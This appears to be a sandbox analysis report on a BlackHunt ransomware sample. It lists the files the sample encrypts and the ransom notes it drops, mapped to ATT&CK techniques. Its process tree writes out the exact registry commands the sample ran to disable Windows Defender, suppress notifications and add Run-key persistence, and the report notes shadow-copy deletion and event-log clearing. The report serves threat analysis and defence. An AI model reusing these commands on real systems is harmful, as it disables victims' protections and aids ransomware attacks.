File created	C:\Program Files\Java\jre7\lib\zi\Europe\#BlackHunt_ReadMe.txt	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jre7\bin\server\Xusage.txt	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\cmm\sRGB.pf	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Atikokan	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_zh_4.4.0.v20140623020002.jar	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-sampler.xml	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\oracle.gif	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_Private.key	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ext_5.5.0.165303.jar	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs_zh_CN.jar	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.txt	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\feature.xml	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\vlc-48.png	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\title_trans_scene.wmv	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_Private.key	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#BlackHunt_Private.key	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-execution.jar	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\management-agent.jar	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme_0.9.300.v20140424-2042.jar	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Checkers.api	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\#BlackHunt_ReadMe.txt	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Enderbury	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-selector-ui.xml	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_ReadMe.txt	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\#BlackHunt_ReadMe.txt	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\lua\modules\#BlackHunt_ReadMe.txt	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\#BlackHunt_ReadMe.txt	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\#BlackHunt_Private.key	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\jfr\profile.jfc	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.hta	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\#BlackHunt_ReadMe.hta	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\#BlackHunt_ReadMe.hta	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain_PAL.wmv	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File created	C:\Program Files\Java\jre7\lib\security\#BlackHunt_Private.key	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.properties	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-6	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-9	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3048	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1192	vssadmin.exe
2288	vssadmin.exe
1696	vssadmin.exe
2428	vssadmin.exe
884	vssadmin.exe
2652	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2320	taskkill.exe

Modifies registry class 12 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2576	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2944	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
Token: SeRestorePrivilege	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
Token: SeBackupPrivilege	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
Token: SeTakeOwnershipPrivilege	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
Token: SeAuditPrivilege	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
Token: SeSecurityPrivilege	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
Token: SeIncBasePriorityPrivilege	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
Token: SeBackupPrivilege	2908	vssvc.exe
Token: SeRestorePrivilege	2908	vssvc.exe
Token: SeAuditPrivilege	2908	vssvc.exe
Token: SeBackupPrivilege	1632	wbengine.exe
Token: SeRestorePrivilege	1632	wbengine.exe
Token: SeSecurityPrivilege	1632	wbengine.exe
Token: SeSecurityPrivilege	1496	wevtutil.exe
Token: SeBackupPrivilege	1496	wevtutil.exe
Token: SeSecurityPrivilege	2748	wevtutil.exe
Token: SeBackupPrivilege	2748	wevtutil.exe
Token: SeSecurityPrivilege	2284	wevtutil.exe
Token: SeBackupPrivilege	2284	wevtutil.exe
Token: SeSecurityPrivilege	2128	wevtutil.exe
Token: SeBackupPrivilege	2128	wevtutil.exe
Token: SeSecurityPrivilege	1808	wevtutil.exe
Token: SeBackupPrivilege	1808	wevtutil.exe
Token: SeDebugPrivilege	2320	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2792 wrote to memory of 2732	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	30
PID 2792 wrote to memory of 2732	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	30
PID 2792 wrote to memory of 2732	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	30
PID 2792 wrote to memory of 2732	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	30
PID 2792 wrote to memory of 2680	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	32
PID 2792 wrote to memory of 2680	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	32
PID 2792 wrote to memory of 2680	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	32
PID 2792 wrote to memory of 2680	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	32
PID 2792 wrote to memory of 2580	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	34
PID 2792 wrote to memory of 2580	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	34
PID 2792 wrote to memory of 2580	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	34
PID 2792 wrote to memory of 2580	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	34
PID 2792 wrote to memory of 2644	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	36
PID 2792 wrote to memory of 2644	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	36
PID 2792 wrote to memory of 2644	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	36
PID 2792 wrote to memory of 2644	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	36
PID 2792 wrote to memory of 3008	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	38
PID 2792 wrote to memory of 3008	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	38
PID 2792 wrote to memory of 3008	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	38
PID 2792 wrote to memory of 3008	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	38
PID 2732 wrote to memory of 2192	2732	cmd.exe	40
PID 2732 wrote to memory of 2192	2732	cmd.exe	40
PID 2732 wrote to memory of 2192	2732	cmd.exe	40
PID 2680 wrote to memory of 2488	2680	cmd.exe	41
PID 2680 wrote to memory of 2488	2680	cmd.exe	41
PID 2680 wrote to memory of 2488	2680	cmd.exe	41
PID 2580 wrote to memory of 2548	2580	cmd.exe	42
PID 2580 wrote to memory of 2548	2580	cmd.exe	42
PID 2580 wrote to memory of 2548	2580	cmd.exe	42
PID 2644 wrote to memory of 2016	2644	cmd.exe	43
PID 2644 wrote to memory of 2016	2644	cmd.exe	43
PID 2644 wrote to memory of 2016	2644	cmd.exe	43
PID 3008 wrote to memory of 2012	3008	cmd.exe	44
PID 3008 wrote to memory of 2012	3008	cmd.exe	44
PID 3008 wrote to memory of 2012	3008	cmd.exe	44
PID 2792 wrote to memory of 2744	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	46
PID 2792 wrote to memory of 2744	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	46
PID 2792 wrote to memory of 2744	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	46
PID 2792 wrote to memory of 2744	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	46
PID 2792 wrote to memory of 2892	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	47
PID 2792 wrote to memory of 2892	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	47
PID 2792 wrote to memory of 2892	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	47
PID 2792 wrote to memory of 2892	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	47
PID 2792 wrote to memory of 2912	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	49
PID 2792 wrote to memory of 2912	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	49
PID 2792 wrote to memory of 2912	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	49
PID 2792 wrote to memory of 2912	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	49
PID 2792 wrote to memory of 3028	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	51
PID 2792 wrote to memory of 3028	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	51
PID 2792 wrote to memory of 3028	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	51
PID 2792 wrote to memory of 3028	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	51
PID 2792 wrote to memory of 2356	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	53
PID 2792 wrote to memory of 2356	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	53
PID 2792 wrote to memory of 2356	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	53
PID 2792 wrote to memory of 2356	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	53
PID 2744 wrote to memory of 2312	2744	cmd.exe	55
PID 2744 wrote to memory of 2312	2744	cmd.exe	55
PID 2744 wrote to memory of 2312	2744	cmd.exe	55
PID 2792 wrote to memory of 300	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	56
PID 2792 wrote to memory of 300	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	56
PID 2792 wrote to memory of 300	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	56
PID 2792 wrote to memory of 300	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	56
PID 2792 wrote to memory of 1696	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	57
PID 2792 wrote to memory of 1696	2792	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe	57

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe
"C:\Users\Admin\AppData\Local\Temp\5c3a35be9ab6d1d5fa1f0881a2454b13d3fad34b38e46852d77fb6139e98d3fd.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1980
- C:\Windows\System32\cmd.exe
